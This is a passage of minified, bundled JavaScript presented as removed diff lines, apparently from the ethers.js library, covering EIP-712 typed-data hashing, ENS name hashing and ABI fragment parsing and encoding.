r5 ? M([e4, ye.slice(r5)]) : S(e4); - }(e3); - }; - } - } - switch (t2) { - case "address": - return function(t3) { - return x(ne(t3), 32); - }; - case "bool": - return function(t3) { - return t3 ? we : ve; - }; - case "bytes": - return function(t3) { - return F(t3); - }; - case "string": - return function(t3) { - return Bt(t3); - }; - } - return null; - } - function Se(t2, e2) { - return `${t2}(${e2.map(({ name: t3, type: e3 }) => e3 + " " + t3).join(",")})`; - } - var Ne = Object.freeze({ __proto__: null, _TypedDataEncoder: class t2 { - constructor(t3) { - se(this, "types", Object.freeze(fe(t3))), se(this, "_encoderCache", {}), se(this, "_types", {}); - const e2 = {}, r4 = {}, n2 = {}; - Object.keys(t3).forEach((t4) => { - e2[t4] = {}, r4[t4] = [], n2[t4] = {}; - }); - for (const n3 in t3) { - const A3 = {}; - t3[n3].forEach((i2) => { - A3[i2.name] && Ie.throwArgumentError(`duplicate variable name ${JSON.stringify(i2.name)} in ${JSON.stringify(n3)}`, "types", t3), A3[i2.name] = true; - const o2 = i2.type.match(/^([^\x5b]*)(\x5b|$)/)[1]; - o2 === n3 && Ie.throwArgumentError(`circular type reference to ${JSON.stringify(o2)}`, "types", t3); - De(o2) || (r4[o2] || Ie.throwArgumentError(`unknown type ${JSON.stringify(o2)}`, "types", t3), r4[o2].push(n3), e2[n3][o2] = true); - }); - } - const A2 = Object.keys(r4).filter((t4) => 0 === r4[t4].length); - 0 === A2.length ? Ie.throwArgumentError("missing primary type", "types", t3) : A2.length > 1 && Ie.throwArgumentError(`ambiguous primary types or unused types: ${A2.map((t4) => JSON.stringify(t4)).join(", ")}`, "types", t3), se(this, "primaryType", A2[0]), function A3(i2, o2) { - o2[i2] && Ie.throwArgumentError(`circular type reference to ${JSON.stringify(i2)}`, "types", t3), o2[i2] = true, Object.keys(e2[i2]).forEach((t4) => { - r4[t4] && (A3(t4, o2), Object.keys(o2).forEach((e3) => { - n2[e3][t4] = true; - })); - }), delete o2[i2]; - }(this.primaryType, {}); - for (const e3 in n2) { - const r5 = Object.keys(n2[e3]); - r5.sort(), this._types[e3] = Se(e3, t3[e3]) + r5.map((e4) => Se(e4, t3[e4])).join(""); - } - } - getEncoder(t3) { - let e2 = this._encoderCache[t3]; - return e2 || (e2 = this._encoderCache[t3] = this._getEncoder(t3)), e2; - } - _getEncoder(t3) { - { - const e3 = De(t3); - if (e3) - return e3; - } - const e2 = t3.match(/^(.*)(\x5b(\d*)\x5d)$/); - if (e2) { - const t4 = e2[1], r5 = this.getEncoder(t4), n2 = parseInt(e2[3]); - return (e3) => { - n2 >= 0 && e3.length !== n2 && Ie.throwArgumentError("array length mismatch; expected length ${ arrayLength }", "value", e3); - let A2 = e3.map(r5); - return this._types[t4] && (A2 = A2.map(F)), F(M(A2)); - }; - } - const r4 = this.types[t3]; - if (r4) { - const e3 = Bt(this._types[t3]); - return (t4) => { - const n2 = r4.map(({ name: e4, type: r5 }) => { - const n3 = this.getEncoder(r5)(t4[e4]); - return this._types[r5] ? F(n3) : n3; - }); - return n2.unshift(e3), M(n2); - }; - } - return Ie.throwArgumentError(`unknown type: ${t3}`, "type", t3); - } - encodeType(t3) { - const e2 = this._types[t3]; - return e2 || Ie.throwArgumentError(`unknown type: ${JSON.stringify(t3)}`, "name", t3), e2; - } - encodeData(t3, e2) { - return this.getEncoder(t3)(e2); - } - hashStruct(t3, e2) { - return F(this.encodeData(t3, e2)); - } - encode(t3) { - return this.encodeData(this.primaryType, t3); - } - hash(t3) { - return this.hashStruct(this.primaryType, t3); - } - _visit(t3, e2, r4) { - if (De(t3)) - return r4(t3, e2); - const n2 = t3.match(/^(.*)(\x5b(\d*)\x5d)$/); - if (n2) { - const t4 = n2[1], A3 = parseInt(n2[3]); - return A3 >= 0 && e2.length !== A3 && Ie.throwArgumentError("array length mismatch; expected length ${ arrayLength }", "value", e2), e2.map((e3) => this._visit(t4, e3, r4)); - } - const A2 = this.types[t3]; - return A2 ? A2.reduce((t4, { name: n3, type: A3 }) => (t4[n3] = this._visit(A3, e2[n3], r4), t4), {}) : Ie.throwArgumentError(`unknown type: ${t3}`, "type", t3); - } - visit(t3, e2) { - return this._visit(this.primaryType, t3, e2); - } - static from(e2) { - return new t2(e2); - } - static getPrimaryType(e2) { - return t2.from(e2).primaryType; - } - static hashStruct(e2, r4, n2) { - return t2.from(r4).hashStruct(e2, n2); - } - static hashDomain(e2) { - const r4 = []; - for (const t3 in e2) { - const n2 = _e[t3]; - n2 || Ie.throwArgumentError(`invalid typed-data domain key: ${JSON.stringify(t3)}`, "domain", e2), r4.push({ name: t3, type: n2 }); - } - return r4.sort((t3, e3) => Qe.indexOf(t3.name) - Qe.indexOf(e3.name)), t2.hashStruct("EIP712Domain", { EIP712Domain: r4 }, e2); - } - static encode(e2, r4, n2) { - return M(["0x1901", t2.hashDomain(e2), t2.from(r4).hash(n2)]); - } - static hash(e2, r4, n2) { - return F(t2.encode(e2, r4, n2)); - } - static resolveNames(e2, r4, n2, A2) { - return de(this, void 0, void 0, function* () { - e2 = he(e2); - const i2 = {}; - e2.verifyingContract && !k(e2.verifyingContract, 20) && (i2[e2.verifyingContract] = "0x"); - const o2 = t2.from(r4); - o2.visit(n2, (t3, e3) => ("address" !== t3 || k(e3, 20) || (i2[e3] = "0x"), e3)); - for (const t3 in i2) - i2[t3] = yield A2(t3); - return e2.verifyingContract && i2[e2.verifyingContract] && (e2.verifyingContract = i2[e2.verifyingContract]), n2 = o2.visit(n2, (t3, e3) => "address" === t3 && i2[e3] ? i2[e3] : e3), { domain: e2, value: n2 }; - }); - } - static getPayload(e2, r4, n2) { - t2.hashDomain(e2); - const A2 = {}, i2 = []; - Qe.forEach((t3) => { - const r5 = e2[t3]; - null != r5 && (A2[t3] = ke[t3](r5), i2.push({ name: t3, type: _e[t3] })); - }); - const o2 = t2.from(r4), s2 = he(r4); - return s2.EIP712Domain ? Ie.throwArgumentError("types must not contain EIP712Domain type", "types.EIP712Domain", r4) : s2.EIP712Domain = i2, o2.encode(n2), { types: s2, domain: A2, primaryType: o2.primaryType, message: o2.visit(n2, (t3, e3) => { - if (t3.match(/^bytes(\d*)/)) - return S(Q(e3)); - if (t3.match(/^u?int/)) - return Y.from(e3).toString(); - switch (t3) { - case "address": - return e3.toLowerCase(); - case "bool": - return !!e3; - case "string": - return "string" != typeof e3 && Ie.throwArgumentError("invalid string", "value", e3), e3; - } - return Ie.throwArgumentError("unsupported type", "type", t3); - }) }; - } - }, dnsEncode: function(t2) { - return S(b(zt(t2).map((t3) => { - if (t3.length > 63) - throw new Error("invalid DNS encoded entry; length exceeds 63 bytes"); - const e2 = new Uint8Array(t3.length + 1); - return e2.set(t3, 1), e2[0] = e2.length - 1, e2; - }))) + "00"; - }, ensNormalize: function(t2) { - return zt(t2).map((t3) => mt(t3)).join("."); - }, hashMessage: function(t2) { - return "string" == typeof t2 && (t2 = Ct(t2)), F(b([Ct(qt), Ct(String(t2.length)), t2])); - }, id: Bt, isValidName: function(t2) { - try { - return 0 !== zt(t2).length; - } catch (t3) { - } - return false; - }, messagePrefix: qt, namehash: function(t2) { - "string" != typeof t2 && Kt.throwArgumentError("invalid ENS name; not a string", "name", t2); - let e2 = Jt; - const r4 = zt(t2); - for (; r4.length; ) - e2 = F(b([e2, F(r4.pop())])); - return S(e2); - } }); - var Me = r3(Ne); - var xe = r3(at); - var Fe = "abi/5.7.0"; - var Pe = new m(Fe); - var Te = {}; - var Re = { calldata: true, memory: true, storage: true }; - var Ue = { calldata: true, memory: true }; - function Ge(t2, e2) { - if ("bytes" === t2 || "string" === t2) { - if (Re[e2]) - return true; - } else if ("address" === t2) { - if ("payable" === e2) - return true; - } else if ((t2.indexOf("[") >= 0 || "tuple" === t2) && Ue[e2]) - return true; - return (Re[e2] || "payable" === e2) && Pe.throwArgumentError("invalid modifier", "name", e2), false; - } - function He(t2, e2) { - for (let r4 in e2) - se(t2, r4, e2[r4]); - } - var Le = Object.freeze({ sighash: "sighash", minimal: "minimal", full: "full", json: "json" }); - var Oe = new RegExp(/^(.*)\[([0-9]*)\]$/); - var Ye = class t2 { - constructor(e2, r4) { - e2 !== Te && Pe.throwError("use fromString", m.errors.UNSUPPORTED_OPERATION, { operation: "new ParamType()" }), He(this, r4); - let n2 = this.type.match(Oe); - He(this, n2 ? { arrayLength: parseInt(n2[2] || "-1"), arrayChildren: t2.fromObject({ type: n2[1], components: this.components }), baseType: "array" } : { arrayLength: null, arrayChildren: null, baseType: null != this.components ? "tuple" : this.type }), this._isParamType = true, Object.freeze(this); - } - format(t3) { - if (t3 || (t3 = Le.sighash), Le[t3] || Pe.throwArgumentError("invalid format type", "format", t3), t3 === Le.json) { - let e3 = { type: "tuple" === this.baseType ? "tuple" : this.type, name: this.name || void 0 }; - return "boolean" == typeof this.indexed && (e3.indexed = this.indexed), this.components && (e3.components = this.components.map((e4) => JSON.parse(e4.format(t3)))), JSON.stringify(e3); - } - let e2 = ""; - return "array" === this.baseType ? (e2 += this.arrayChildren.format(t3), e2 += "[" + (this.arrayLength < 0 ? "" : String(this.arrayLength)) + "]") : "tuple" === this.baseType ? (t3 !== Le.sighash && (e2 += this.type), e2 += "(" + this.components.map((e3) => e3.format(t3)).join(t3 === Le.full ? ", " : ",") + ")") : e2 += this.type, t3 !== Le.sighash && (true === this.indexed && (e2 += " indexed"), t3 === Le.full && this.name && (e2 += " " + this.name)), e2; - } - static from(e2, r4) { - return "string" == typeof e2 ? t2.fromString(e2, r4) : t2.fromObject(e2); - } - static fromObject(e2) { - return t2.isParamType(e2) ? e2 : new t2(Te, { name: e2.name || null, type: tr(e2.type), indexed: null == e2.indexed ? null : !!e2.indexed, components: e2.components ? e2.components.map(t2.fromObject) : null }); - } - static fromString(e2, r4) { - return n2 = function(t3, e3) { - let r5 = t3; - function n3(e4) { - Pe.throwArgumentError(`unexpected character at position ${e4}`, "param", t3); - } - function A2(t4) { - let r6 = { type: "", name: "", parent: t4, state: { allowType: true } }; - return e3 && (r6.indexed = false), r6; - } - t3 = t3.replace(/\s/g, " "); - let i2 = { type: "", name: "", state: { allowType: true } }, o2 = i2; - for (let r6 = 0; r6 < t3.length; r6++) { - let i3 = t3[r6]; - switch (i3) { - case "(": - o2.state.allowType && "" === o2.type ? o2.type = "tuple" : o2.state.allowParams || n3(r6), o2.state.allowType = false, o2.type = tr(o2.type), o2.components = [A2(o2)], o2 = o2.components[0]; - break; - case ")": - delete o2.state, "indexed" === o2.name && (e3 || n3(r6), o2.indexed = true, o2.name = ""), Ge(o2.type, o2.name) && (o2.name = ""), o2.type = tr(o2.type); - let t4 = o2; - o2 = o2.parent, o2 || n3(r6), delete t4.parent, o2.state.allowParams = false, o2.state.allowName = true, o2.state.allowArray = true; - break; - case ",": - delete o2.state, "indexed" === o2.name && (e3 || n3(r6), o2.indexed = true, o2.name = ""), Ge(o2.type, o2.name) && (o2.name = ""), o2.type = tr(o2.type); - let s2 = A2(o2.parent); - o2.parent.components.push(s2), delete o2.parent, o2 = s2; - break; - case " ": - o2.state.allowType && "" !== o2.type && (o2.type = tr(o2.type), delete o2.state.allowType, o2.state.allowName = true, o2.state.allowParams = true), o2.state.allowName && "" !== o2.name && ("indexed" === o2.name ? (e3 || n3(r6), o2.indexed && n3(r6), o2.indexed = true, o2.name = "") : Ge(o2.type, o2.name) ? o2.name = "" : o2.state.allowName = false); - break; - case "[": - o2.state.allowArray || n3(r6), o2.type += i3, o2.state.allowArray = false, o2.state.allowName = false, o2.state.readArray = true; - break; - case "]": - o2.state.readArray || n3(r6), o2.type += i3, o2.state.readArray = false, o2.state.allowArray = true, o2.state.allowName = true; - break; - default: - o2.state.allowType ? (o2.type += i3, o2.state.allowParams = true, o2.state.allowArray = true) : o2.state.allowName ? (o2.name += i3, delete o2.state.allowArray) : o2.state.readArray ? o2.type += i3 : n3(r6); - } - } - return o2.parent && Pe.throwArgumentError("unexpected eof", "param", t3), delete i2.state, "indexed" === o2.name ? (e3 || n3(r5.length - 7), o2.indexed && n3(r5.length - 7), o2.indexed = true, o2.name = "") : Ge(o2.type, o2.name) && (o2.name = ""), i2.type = tr(i2.type), i2; - }(e2, !!r4), t2.fromObject({ name: n2.name, type: n2.type, indexed: n2.indexed, components: n2.components }); - var n2; - } - static isParamType(t3) { - return !(null == t3 || !t3._isParamType); - } - }; - function Ke(t2, e2) { - return function(t3) { - t3 = t3.trim(); - let e3 = [], r4 = "", n2 = 0; - for (let A2 = 0; A2 < t3.length; A2++) { - let i2 = t3[A2]; - "," === i2 && 0 === n2 ? (e3.push(r4), r4 = "") : (r4 += i2, "(" === i2 ? n2++ : ")" === i2 && (n2--, -1 === n2 && Pe.throwArgumentError("unbalanced parenthesis", "value", t3))); - } - r4 && e3.push(r4); - return e3; - }(t2).map((t3) => Ye.fromString(t3, e2)); - } - var Je = class t2 { - constructor(t3, e2) { - t3 !== Te && Pe.throwError("use a static from method", m.errors.UNSUPPORTED_OPERATION, { operation: "new Fragment()" }), He(this, e2), this._isFragment = true, Object.freeze(this); - } - static from(e2) { - return t2.isFragment(e2) ? e2 : "string" == typeof e2 ? t2.fromString(e2) : t2.fromObject(e2); - } - static fromObject(e2) { - if (t2.isFragment(e2)) - return e2; - switch (e2.type) { - case "function": - return We.fromObject(e2); - case "event": - return je.fromObject(e2); - case "constructor": - return Ve.fromObject(e2); - case "error": - return $e.fromObject(e2); - case "fallback": - case "receive": - return null; - } - return Pe.throwArgumentError("invalid fragment object", "value", e2); - } - static fromString(t3) { - return "event" === (t3 = (t3 = (t3 = t3.replace(/\s/g, " ")).replace(/\(/g, " (").replace(/\)/g, ") ").replace(/\s+/g, " ")).trim()).split(" ")[0] ? je.fromString(t3.substring(5).trim()) : "function" === t3.split(" ")[0] ? We.fromString(t3.substring(8).trim()) : "constructor" === t3.split("(")[0].trim() ? Ve.fromString(t3.trim()) : "error" === t3.split(" ")[0] ? $e.fromString(t3.substring(5).trim()) : Pe.throwArgumentError("unsupported fragment", "value", t3); - } - static isFragment(t3) { - return !(!t3 || !t3._isFragment); - } - }; - var je = class t2 extends Je { - format(t3) { - if (t3 || (t3 = Le.sighash), Le[t3] || Pe.throwArgumentError("invalid format type", "format", t3), t3 === Le.json) - return JSON.stringify({ type: "event", anonymous: this.anonymous, name: this.name, inputs: this.inputs.map((e3) => JSON.parse(e3.format(t3))) }); - let e2 = ""; - return t3 !== Le.sighash && (e2 += "event "), e2 += this.name + "(" + this.inputs.map((e3) => e3.format(t3)).join(t3 === Le.full ? ", " : ",") + ") ", t3 !== Le.sighash && this.anonymous && (e2 += "anonymous "), e2.trim(); - } - static from(e2) { - return "string" == typeof e2 ? t2.fromString(e2) : t2.fromObject(e2); - } - static fromObject(e2) { - if (t2.isEventFragment(e2)) - return e2; - "event" !== e2.type && Pe.throwArgumentError("invalid event object", "value", e2); - const r4 = { name: rr(e2.name), anonymous: e2.anonymous, inputs: e2.inputs ? e2.inputs.map(Ye.fromObject) : [], type: "event" }; - return new t2(Te, r4); - } - static fromString(e2) { - let r4 = e2.match(nr); - r4 || Pe.throwArgumentError("invalid event string", "value", e2); - let n2 = false; - return r4[3].split(" ").forEach((t3) => { - switch (t3.trim()) { - case "anonymous": - n2 = true; - break; - case "": - break; - default: - Pe.warn("unknown modifier: " + t3); - } - }), t2.fromObject({ name: r4[1].trim(), anonymous: n2, inputs: Ke(r4[2], true), type: "event" }); - } - static isEventFragment(t3) { - return t3 && t3._isFragment && "event" === t3.type; - } - }; - function ze(t2, e2) { - e2.gas = null; - let r4 = t2.split("@"); - return 1 !== r4.length ? (r4.length > 2 && Pe.throwArgumentError("invalid human-readable ABI signature", "value", t2), r4[1].match(/^[0-9]+$/) || Pe.throwArgumentError("invalid human-readable ABI signature gas", "value", t2), e2.gas = Y.from(r4[1]), r4[0]) : t2; - } - function qe(t2, e2) { - e2.constant = false, e2.payable = false, e2.stateMutability = "nonpayable", t2.split(" ").forEach((t3) => { - switch (t3.trim()) { - case "constant": - e2.constant = true; - break; - case "payable": - e2.payable = true, e2.stateMutability = "payable"; - break; - case "nonpayable": - e2.payable = false, e2.stateMutability = "nonpayable"; - break; - case "pure": - e2.constant = true, e2.stateMutability = "pure"; - break; - case "view": - e2.constant = true, e2.stateMutability = "view"; - break; - case "external": - case "public": - case "": - break; - default: - console.log("unknown modifier: " + t3); - } - }); - } - function Xe(t2) { - let e2 = { constant: false, payable: true, stateMutability: "payable" }; - return null != t2.stateMutability ? (e2.stateMutability = t2.stateMutability, e2.constant = "view" === e2.stateMutability || "pure" === e2.stateMutability, null != t2.constant && !!t2.constant !== e2.constant && Pe.throwArgumentError("cannot have constant function with mutability " + e2.stateMutability, "value", t2), e2.payable = "payable" === e2.stateMutability, null != t2.payable && !!t2.payable !== e2.payable && Pe.throwArgumentError("cannot have payable function with mutability " + e2.stateMutability, "value", t2)) : null != t2.payable ? (e2.payable = !!t2.payable, null != t2.constant || e2.payable || "constructor" === t2.type || Pe.throwArgumentError("unable to determine stateMutability", "value", t2), e2.constant = !!t2.constant, e2.constant ? e2.stateMutability = "view" : e2.stateMutability = e2.payable ? "payable" : "nonpayable", e2.payable && e2.constant && Pe.throwArgumentError("cannot have constant payable function", "value", t2)) : null != t2.constant ? (e2.constant = !!t2.constant, e2.payable = !e2.constant, e2.stateMutability = e2.constant ? "view" : "payable") : "constructor" !== t2.type && Pe.throwArgumentError("unable to determine stateMutability", "value", t2), e2; - } - var Ve = class t2 extends Je { - format(t3) { - if (t3 || (t3 = Le.sighash), Le[t3] || Pe.throwArgumentError("invalid format type", "format", t3), t3 === Le.json) - return JSON.stringify({ type: "constructor", stateMutability: "nonpayable" !== this.stateMutability ? this.stateMutability : void 0, payable: this.payable, gas: this.gas ? this.gas.toNumber() : void 0, inputs: this.inputs.map((e3) => JSON.parse(e3.format(t3))) }); - t3 === Le.sighash && Pe.throwError("cannot format a constructor for sighash", m.errors.UNSUPPORTED_OPERATION, { operation: "format(sighash)" }); - let e2 = "constructor(" + this.inputs.map((e3) => e3.format(t3)).join(t3 === Le.full ? ", " : ",") + ") "; - return this.stateMutability && "nonpayable" !== this.stateMutability && (e2 += this.stateMutability + " "), e2.trim(); - } - static from(e2) { - return "string" == typeof e2 ? t2.fromString(e2) : t2.fromObject(e2); - } - static fromObject(e2) { - if (t2.isConstructorFragment(e2)) - return e2; - "constructor" !== e2.type && Pe.throwArgumentError("invalid constructor object", "value", e2); - let r4 = Xe(e2); - r4.constant && Pe.throwArgumentError("constructor cannot be constant", "value", e2); - const n2 = { name: null, type: e2.type, inputs: e2.inputs ? e2.inputs.map(Ye.fromObject) : [], payable: r4.payable, stateMutability: r4.stateMutability, gas: e2.gas ? Y.from(e2.gas) : null }; - return new t2(Te, n2); - } - static fromString(e2) { - let r4 = { type: "constructor" }, n2 = (e2 = ze(e2, r4)).match(nr); - return n2 && "constructor" === n2[1].trim() || Pe.throwArgumentError("invalid constructor string", "value", e2), r4.inputs = Ke(n2[2].trim(), false), qe(n2[3].trim(), r4), t2.fromObject(r4); - } - static isConstructorFragment(t3) { - return t3 && t3._isFragment && "constructor" === t3.type; - } - }; - var We = class t2 extends Ve { - format(t3) { - if (t3 || (t3 = Le.sighash), Le[t3] || Pe.throwArgumentError("invalid format type", "format", t3), t3 === Le.json) - return JSON.stringify({ type: "function", name: this.name, constant: this.constant, stateMutability: "nonpayable" !== this.stateMutability ? this.stateMutability : void 0, payable: this.payable, gas: this.gas ? this.gas.toNumber() : void 0, inputs: this.inputs.map((e3) => JSON.parse(e3.format(t3))), outputs: this.outputs.map((e3) => JSON.parse(e3.format(t3))) }); - let e2 = ""; - return t3 !== Le.sighash && (e2 += "function "), e2 += this.name + "(" + this.inputs.map((e3) => e3.format(t3)).join(t3 === Le.full ? ", " : ",") + ") ", t3 !== Le.sighash && (this.stateMutability ? "nonpayable" !== this.stateMutability && (e2 += this.stateMutability + " ") : this.constant && (e2 += "view "), this.outputs && this.outputs.length && (e2 += "returns (" + this.outputs.map((e3) => e3.format(t3)).join(", ") + ") "), null != this.gas && (e2 += "@" + this.gas.toString() + " ")), e2.trim(); - } - static from(e2) { - return "string" == typeof e2 ? t2.fromString(e2) : t2.fromObject(e2); - } - static fromObject(e2) { - if (t2.isFunctionFragment(e2)) - return e2; - "function" !== e2.type && Pe.throwArgumentError("invalid function object", "value", e2); - let r4 = Xe(e2); - const n2 = { type: e2.type, name: rr(e2.name), constant: r4.constant, inputs: e2.inputs ? e2.inputs.map(Ye.fromObject) : [], outputs: e2.outputs ? e2.outputs.map(Ye.fromObject) : [], payable: r4.payable, stateMutability: r4.stateMutability, gas: e2.gas ? Y.from(e2.gas) : null }; - return new t2(Te, n2); - } - static fromString(e2) { - let r4 = { type: "function" }, n2 = (e2 = ze(e2, r4)).split(" returns "); - n2.length > 2 && Pe.throwArgumentError("invalid function string", "value", e2); - let A2 = n2[0].match(nr); - if (A2 || Pe.throwArgumentError("invalid function signature", "value", e2), r4.name = A2[1].trim(), r4.name && rr(r4.name), r4.inputs = Ke(A2[2], false), qe(A2[3].trim(), r4), n2.length > 1) { - let t3 = n2[1].match(nr); - "" == t3[1].trim() && "" == t3[3].trim() || Pe.throwArgumentError("unexpected tokens", "value", e2), r4.outputs = Ke(t3[2], false); - } else - r4.outputs = []; - return t2.fromObject(r4); - } - static isFunctionFragment(t3) { - return t3 && t3._isFragment && "function" === t3.type; - } - }; - function Ze(t2) { - const e2 = t2.format(); - return "Error(string)" !== e2 && "Panic(uint256)" !== e2 || Pe.throwArgumentError(`cannot specify user defined ${e2} error`, "fragment", t2), t2; - } - var $e = class t2 extends Je { - format(t3) { - if (t3 || (t3 = Le.sighash), Le[t3] || Pe.throwArgumentError("invalid format type", "format", t3), t3 === Le.json) - return JSON.stringify({ type: "error", name: this.name, inputs: this.inputs.map((e3) => JSON.parse(e3.format(t3))) }); - let e2 = ""; - return t3 !== Le.sighash && (e2 += "error "), e2 += this.name + "(" + this.inputs.map((e3) => e3.format(t3)).join(t3 === Le.full ? ", " : ",") + ") ", e2.trim(); - } - static from(e2) { - return "string" == typeof e2 ? t2.fromString(e2) : t2.fromObject(e2); - } - static fromObject(e2) { - if (t2.isErrorFragment(e2)) - return e2; - "error" !== e2.type && Pe.throwArgumentError("invalid error object", "value", e2); - const r4 = { type: e2.type, name: rr(e2.name), inputs: e2.inputs ? e2.inputs.map(Ye.fromObject) : [] }; - return Ze(new t2(Te, r4)); - } - static fromString(e2) { - let r4 = { type: "error" }, n2 = e2.match(nr); - return n2 || Pe.throwArgumentError("invalid error signature", "value", e2), r4.name = n2[1].trim(), r4.name && rr(r4.name), r4.inputs = Ke(n2[2], false), Ze(t2.fromObject(r4)); - } - static isErrorFragment(t3) { - return t3 && t3._isFragment && "error" === t3.type; - } - }; - function tr(t2) { - return t2.match(/^uint($|[^1-9])/) ? t2 = "uint256" + t2.substring(4) : t2.match(/^int($|[^1-9])/) && (t2 = "int256" + t2.substring(3)), t2; - } - var er = new RegExp("^[a-zA-Z$_][a-zA-Z0-9$_]*$"); - function rr(t2) { - return t2 && t2.match(er) || Pe.throwArgumentError(`invalid identifier "${t2}"`, "value", t2), t2; - } - var nr = new RegExp("^([^)(]*)\\((.*)\\)([^)(]*)$"); - var Ar = new m(Fe); - var ir = class { - constructor(t2, e2, r4, n2) { - this.name = t2, this.type = e2, this.localName = r4, this.dynamic = n2; - } - _throwError(t2, e2) { - Ar.throwArgumentError(t2, this.localName, e2); - } - }; - var or = class { - constructor(t2) { - se(this, "wordSize", t2 || 32), this._data = [], this._dataLength = 0, this._padding = new Uint8Array(t2); - } - get data() { - return M(this._data); - } - get length() { - return this._dataLength; - } - _writeData(t2) { - return this._data.push(t2), this._dataLength += t2.length, t2.length; - } - appendWriter(t2) { - return this._writeData(b(t2._data)); - } - writeBytes(t2) { - let e2 = Q(t2); - const r4 = e2.length % this.wordSize; - return r4 && (e2 = b([e2, this._padding.slice(r4)])), this._writeData(e2); - } - _getValue(t2) { - let e2 = Q(Y.from(t2)); - return e2.length > this.wordSize && Ar.throwError("value out-of-bounds", m.errors.BUFFER_OVERRUN, { length: this.wordSize, offset: e2.length }), e2.length % this.wordSize && (e2 = b([this._padding.slice(e2.length % this.wordSize), e2])), e2; - } - writeValue(t2) { - return this._writeData(this._getValue(t2)); - } - writeUpdatableValue() { - const t2 = this._data.length; - return this._data.push(this._padding), this._dataLength += this.wordSize, (e2) => { - this._data[t2] = this._getValue(e2); - }; - } - }; - var sr = class t2 { - constructor(t3, e2, r4, n2) { - se(this, "_data", Q(t3)), se(this, "wordSize", e2 || 32), se(this, "_coerceFunc", r4), se(this, "allowLoose", n2), this._offset = 0; - } - get data() { - return S(this._data); - } - get consumed() { - return this._offset; - } - static coerce(t3, e2) { - let r4 = t3.match("^u?int([0-9]+)$"); - return r4 && parseInt(r4[1]) <= 48 && (e2 = e2.toNumber()), e2; - } - coerce(e2, r4) { - return this._coerceFunc ? this._coerceFunc(e2, r4) : t2.coerce(e2, r4); - } - _peekBytes(t3, e2, r4) { - let n2 = Math.ceil(e2 / this.wordSize) * this.wordSize; - return this._offset + n2 > this._data.length && (this.allowLoose && r4 && this._offset + e2 <= this._data.length ? n2 = e2 : Ar.throwError("data out-of-bounds", m.errors.BUFFER_OVERRUN, { length: this._data.length, offset: this._offset + n2 })), this._data.slice(this._offset, this._offset + n2); - } - subReader(e2) { - return new t2(this._data.slice(this._offset + e2), this.wordSize, this._coerceFunc, this.allowLoose); - } - readBytes(t3, e2) { - let r4 = this._peekBytes(0, t3, !!e2); - return this._offset += r4.length, r4.slice(0, t3); - } - readValue() { - return Y.from(this.readBytes(this.wordSize)); - } - }; - var ar = class extends ir { - constructor(t2) { - super("address", "address", t2, false); - } - defaultValue() { - return "0x0000000000000000000000000000000000000000"; - } - encode(t2, e2) { - try { - e2 = ne(e2); - } catch (t3) { - this._throwError(t3.message, e2); - } - return t2.writeValue(e2); - } - decode(t2) { - return ne(x(t2.readValue().toHexString(), 20)); - } - }; - var cr = class extends ir { - constructor(t2) { - super(t2.name, t2.type, void 0, t2.dynamic), this.coder = t2; - } - defaultValue() { - return this.coder.defaultValue(); - } - encode(t2, e2) { - return this.coder.encode(t2, e2); - } - decode(t2) { - return this.coder.decode(t2); - } - }; - var hr = new m(Fe); - function gr(t2, e2, r4) { - let n2 = null; - if (Array.isArray(r4)) - n2 = r4; - else if (r4 && "object" == typeof r4) { - let t3 = {}; - n2 = e2.map((e3) => { - const n3 = e3.localName; - return n3 || hr.throwError("cannot encode object for signature with missing names", m.errors.INVALID_ARGUMENT, { argument: "values", coder: e3, value: r4 }), t3[n3] && hr.throwError("cannot encode object for signature with duplicate names", m.errors.INVALID_ARGUMENT, { argument: "values", coder: e3, value: r4 }), t3[n3] = true, r4[n3]; - }); - } else - hr.throwArgumentError("invalid tuple value", "tuple", r4); - e2.length !== n2.length && hr.throwArgumentError("types/value length mismatch", "tuple", r4); - let A2 = new or(t2.wordSize), i2 = new or(t2.wordSize), o2 = []; - e2.forEach((t3, e3) => { - let r5 = n2[e3]; - if (t3.dynamic) { - let e4 = i2.length; - t3.encode(i2, r5); - let n3 = A2.writeUpdatableValue(); - o2.push((t4) => { - n3(t4 + e4); - }); - } else - t3.encode(A2, r5); - }), o2.forEach((t3) => { - t3(A2.length); - }); - let s2 = t2.appendWriter(A2); - return s2 += t2.appendWriter(i2), s2; - } - function ur(t2, e2) { - let r4 = [], n2 = t2.subReader(0); - e2.forEach((e3) => { - let A3 = null; - if (e3.dynamic) { - let r5 = t2.readValue(), i2 = n2.subReader(r5.toNumber()); - try { - A3 = e3.decode(i2); - } catch (t3) { - if (t3.code === m.errors.BUFFER_OVERRUN) - throw t3; - A3 = t3, A3.baseType = e3.name, A3.name = e3.localName, A3.type = e3.type; - } - } else - try { - A3 = e3.decode(t2); - } catch (t3) { - if (t3.code === m.errors.BUFFER_OVERRUN) - throw t3; - A3 = t3, A3.baseType = e3.name, A3.name = e3.localName, A3.type = e3.type; - } - null != A3 && r4.push(A3); - }); - const A2 = e2.reduce((t3, e3) => { - const r5 = e3.localName; - return r5 && (t3[r5] || (t3[r5] = 0), t3[r5]++), t3; - }, {}); - e2.forEach((t3, e3) => { - let n3 = t3.localName; - if (!n3 || 1 !== A2[n3]) - return; - if ("length" === n3 && (n3 = "_length"), null != r4[n3]) - return; - const i2 = r4[e3]; - i2 instanceof Error ? Object.defineProperty(r4, n3, { enumerable: true, get: () => { - throw i2; - } }) : r4[n3] = i2; - }); - for (let t3 = 0; t3 < r4.length; t3++) { - const e3 = r4[t3]; - e3 instanceof Error && Object.defineProperty(r4, t3, { enumerable: true, get: () => { - throw e3; - } }); - } - return Object.freeze(r4); - } - var lr = class extends ir { - constructor(t2, e2, r4) { - super("array", t2.type + "[" + (e2 >= 0 ? e2 : "") + "]", r4, -1 === e2 || t2.dynamic), this.coder = t2, this.length = e2; - } - defaultValue() { - const t2 = this.coder.defaultValue(), e2 = []; - for (let r4 = 0; r4 < this.length; r4++) - e2.push(t2); - return e2; - } - encode(t2, e2) { - Array.isArray(e2) || this._throwError("expected array value", e2); - let r4 = this.length; - -1 === r4 && (r4 = e2.length, t2.writeValue(e2.length)), hr.checkArgumentCount(e2.length, r4, "coder array" + (this.localName ? " " + this.localName : "")); - let n2 = []; - for (let t3 = 0; t3 < e2.length; t3++) - n2.push(this.coder); - return gr(t2, n2, e2); - } - decode(t2) { - let e2 = this.length; - -1 === e2 && (e2 = t2.readValue().toNumber(), 32 * e2 > t2._data.length && hr.throwError("insufficient data length", m.errors.BUFFER_OVERRUN, { length: t2._data.length, count: e2 })); - let r4 = []; - for (let t3 = 0; t3 < e2; t3++) - r4.push(new cr(this.coder)); - return t2.coerce(this.name, ur(t2, r4)); - } - }; - var fr = class 